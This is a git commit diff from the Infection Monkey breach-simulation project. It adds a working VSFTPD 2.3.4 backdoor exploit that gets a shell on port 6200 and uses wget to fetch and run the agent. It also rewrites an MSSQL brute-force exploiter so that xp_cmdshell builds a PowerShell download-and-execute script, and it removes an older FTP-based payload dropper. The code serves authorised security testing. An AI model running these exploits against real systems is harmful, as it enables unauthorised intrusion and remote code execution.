Merge remote-tracking branch 'upstream/develop' into attack_configuration

# Conflicts:
#	monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
This commit is contained in:
VakarisZ 2019-05-28 08:36:48 +03:00
commit 691647708f
13 changed files with 333 additions and 320 deletions

View File

@ -104,8 +104,8 @@ class Configuration(object):
dropper_set_date = True dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh' dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey' dropper_target_path_linux = '/tmp/monkey'
########################### ###########################

View File

@ -25,8 +25,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir', monkey_dir_linux = '/tmp/monkey_dir',
@ -45,7 +45,8 @@
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter" "HadoopExploiter",
"VSFTPDExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter
from infection_monkey.exploit.vsftpd import VSFTPDExploiter

View File

@ -1,12 +1,15 @@
import os import os
import logging import logging
from time import sleep
import pymssql import pymssql
import textwrap
from infection_monkey.exploit import HostExploiter, mssqlexec_utils from infection_monkey.exploit import HostExploiter, tools
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.tools import HTTPTools
__author__ = 'Maor Rayzin' from infection_monkey.config import WormConfiguration
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.tools import get_monkey_dest_path
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -16,78 +19,89 @@ class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15 LOGIN_TIMEOUT = 15
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433' SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') # Temporary file that saves commands for monkey's download and execution.
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' TMP_FILE_NAME = 'tmp_monkey.bat'
def __init__(self, host): def __init__(self, host):
super(MSSQLExploiter, self).__init__(host) super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self): def exploit_host(self):
""" # Brute force to get connection
Main function of the mssql brute force
Return:
True or False depends on process success
"""
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \ if not cursor:
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
if not self.create_payload_file(payload_path):
return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
payload_path):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False return False
def handle_payload(self, cursor, payload): # Get monkey exe for host and it's path
src_path = tools.get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
dst_path = get_monkey_dest_path(http_path)
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
# Create monkey dir.
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file
commands = [
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
for part in textwrap.wrap(monkey_args, 40)]
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
return True
@staticmethod
def run_file(cursor, file_path):
command = ["exec xp_cmdshell \"%s\"" % file_path]
return MSSQLExploiter.execute_command(cursor, command)
@staticmethod
def execute_command(cursor, cmds):
""" """
Handles the process of payload sending and execution, prepares the attack and details. Executes commands on MSSQL server
:param cursor: MSSQL connection
Args: :param cmds: list of commands in MSSQL syntax.
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. :return: True if successfully executed, false otherwise.
payload (string): Payload path
Return:
True or False depends on process success
""" """
try:
# Running the cmd on remote host
for cmd in cmds:
cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
return False
return True
chosen_attack = self.attacks_list[0](payload, cursor, self.host) def brute_force(self, host, port, users_passwords_pairs_list):
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here. Main loop starts here.
@ -95,7 +109,6 @@ class MSSQLExploiter(HostExploiter):
Args: Args:
host (str): Host ip address host (str): Host ip address
port (str): Tcp port that the host listens to port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return: Return:
@ -112,19 +125,11 @@ class MSSQLExploiter(HostExploiter):
'using user: {1}, password: {2}'.format(host, user, password)) 'using user: {1}, password: {2}'.format(host, user, password))
self.report_login_attempt(True, user, password) self.report_login_attempt(True, user, password)
cursor = conn.cursor() cursor = conn.cursor()
return cursor
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
except pymssql.OperationalError: except pymssql.OperationalError:
# Combo didn't work, hopping to the next one # Combo didn't work, hopping to the next one
pass pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port)) 'aborting brute force'.format(host, port))
return False return None

View File

@ -1,208 +0,0 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
"""Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user
self.password = password
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self):
""" Configures and runs the ftp server to listen forever until stopped.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
"""
def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor
self.attacker_ip = get_interface_to_target(host.ip_addr)
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
sleep(0.5)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self, host):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -0,0 +1,149 @@
"""
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
only vulnerable version is "2.3.4"
"""
import StringIO
import logging
import paramiko
import socket
import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.web_rce import WebRCE
from logging import getLogger
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes
UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux']
def __init__ (self, host):
self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist
def socket_connect(self, s, ip_addr, port):
try:
s.connect((ip_addr, port))
return True
except socket.error as e:
LOG.error('Failed to connect to %s', self.host.ip_addr)
return False
def socket_send_recv(self, s, message):
try:
s.send(message)
return s.recv(RECV_128).decode('utf-8')
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def socket_send(self, s, message):
try:
s.send(message)
return True
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
return False
LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info('Response for uname -m: %s', response)
if '' != response.lower().strip():
# command execution is successful
self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux'
else :
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host)
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
download_command = str.encode(str(download_command) + '\n')
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
LOG.info('Monkey is now Downloaded ')
else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
# Change permissions
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
return True
else:
return False

View File

@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from infection_monkey.exploit.tools import get_interface_to_target
__author__ = 'itamar' __author__ = 'itamar'
@ -39,6 +40,7 @@ class InfectionMonkey(object):
self._exploiters = None self._exploiters = None
self._fingerprint = None self._fingerprint = None
self._default_server = None self._default_server = None
self._default_server_port = None
self._depth = 0 self._depth = 0
self._opts = None self._opts = None
self._upgrading_to_64 = False self._upgrading_to_64 = False
@ -59,6 +61,10 @@ class InfectionMonkey(object):
self._parent = self._opts.parent self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server self._default_server = self._opts.server
try:
self._default_server_port = self._default_server.split(':')[1]
except KeyError:
self._default_server_port = ''
if self._opts.depth: if self._opts.depth:
WormConfiguration._depth_from_commandline = True WormConfiguration._depth_from_commandline = True
self._keep_running = True self._keep_running = True
@ -172,8 +178,9 @@ class InfectionMonkey(object):
if monkey_tunnel: if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine) monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server: if self._default_server:
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':'+self._default_server_port if self._default_server_port else ''))
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
machine.set_default_server(self._default_server)
# Order exploits according to their type # Order exploits according to their type
if WormConfiguration.should_exploit: if WormConfiguration.should_exploit:

View File

@ -2,7 +2,6 @@ import logging
import socket import socket
import struct import struct
import time import time
from difflib import get_close_matches
from threading import Thread from threading import Thread
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time from infection_monkey.transport.base import get_last_serve_time
from infection_monkey.exploit.tools import get_interface_to_target
__author__ = 'hoffer' __author__ = 'hoffer'
@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
try: try:
search, address = self._broad_sock.recvfrom(BUFFER_READ) search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '?' == search: if '?' == search:
ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips ip_match = get_interface_to_target(address[0])
if ip_match: if ip_match:
answer = '%s:%d' % (ip_match[0], self.local_port) answer = '%s:%d' % (ip_match, self.local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
elif '+' == search: elif '+' == search:
@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
if not self.local_port: if not self.local_port:
return return
ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips ip_match = get_interface_to_target(host.ip_addr)
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
def stop(self): def stop(self):
self._stopped = True self._stopped = True

View File

@ -37,8 +37,8 @@ class WindowsUpgrader(object):
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError): except (IOError, AttributeError) as e:
LOG.error("Failed to download the Monkey to the target path.") LOG.error("Failed to download the Monkey to the target path: %s." % e)
return return
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)

View File

@ -97,6 +97,13 @@ SCHEMA = {
"HadoopExploiter" "HadoopExploiter"
], ],
"title": "Hadoop/Yarn Exploiter" "title": "Hadoop/Yarn Exploiter"
},
{
"type": "string",
"enum": [
"VSFTPDExploiter"
],
"title": "VSFTPD Exploiter"
} }
] ]
}, },
@ -585,14 +592,14 @@ SCHEMA = {
"dropper_target_path_win_32": { "dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)", "title": "Dropper target path on Windows (32bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey32.exe", "default": "C:\\Windows\\temp\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine " "description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)" "(32bit)"
}, },
"dropper_target_path_win_64": { "dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)", "title": "Dropper target path on Windows (64bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey64.exe", "default": "C:\\Windows\\temp\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine " "description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)" "(64 bit)"
}, },
@ -749,7 +756,8 @@ SCHEMA = {
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter" "HadoopExploiter",
"VSFTPDExploiter"
], ],
"description": "description":
"Determines which exploits to use. " + WARNING_SIGN "Determines which exploits to use. " + WARNING_SIGN

View File

@ -41,7 +41,8 @@ class ReportService:
'Struts2Exploiter': 'Struts2 Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter' 'MSSQLExploiter': 'MSSQL Exploiter',
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -57,7 +58,8 @@ class ReportService:
WEBLOGIC = 9 WEBLOGIC = 9
HADOOP = 10 HADOOP = 10
PTH_CRIT_SERVICES_ACCESS = 11, PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12 MSSQL = 12,
VSFTPD = 13
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -254,6 +256,7 @@ class ReportService:
else: else:
processed_exploit['type'] = 'hash' processed_exploit['type'] = 'hash'
return processed_exploit return processed_exploit
return processed_exploit
@staticmethod @staticmethod
def process_smb_exploit(exploit): def process_smb_exploit(exploit):
@ -289,6 +292,12 @@ class ReportService:
processed_exploit['type'] = 'rdp' processed_exploit['type'] = 'rdp'
return processed_exploit return processed_exploit
@staticmethod
def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'vsftp'
return processed_exploit
@staticmethod @staticmethod
def process_sambacry_exploit(exploit): def process_sambacry_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit) processed_exploit = ReportService.process_general_creds_exploit(exploit)
@ -355,7 +364,8 @@ class ReportService:
'Struts2Exploiter': ReportService.process_struts2_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit 'MSSQLExploiter': ReportService.process_mssql_exploit,
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -644,6 +654,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
elif issue['type'] == 'sambacry': elif issue['type'] == 'sambacry':
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
elif issue['type'] == 'vsftp':
issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
elif issue['type'] == 'shellshock': elif issue['type'] == 'shellshock':
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
elif issue['type'] == 'conficker': elif issue['type'] == 'conficker':

View File

@ -151,19 +151,7 @@ class ConfigurePageComponent extends AuthComponent {
configSubmit = () => { configSubmit = () => {
// Submit monkey configuration // Submit monkey configuration
this.updateConfigSection(); this.updateConfigSection();
this.authFetch(CONFIG_URL, this.sendConfig()
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
})
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
this.setState({ this.setState({
@ -313,7 +301,7 @@ class ConfigurePageComponent extends AuthComponent {
configuration: JSON.parse(event.target.result), configuration: JSON.parse(event.target.result),
selectedSection: 'basic', selectedSection: 'basic',
lastAction: 'import_success' lastAction: 'import_success'
}); }, () => {this.sendConfig()});
this.currentSection = 'basic'; this.currentSection = 'basic';
this.currentFormData = {}; this.currentFormData = {};
} catch(SyntaxError) { } catch(SyntaxError) {
@ -326,6 +314,26 @@ class ConfigurePageComponent extends AuthComponent {
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf'); fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
}; };
sendConfig() {
return (
this.authFetch('/api/configuration/island',
{
method: 'POST',
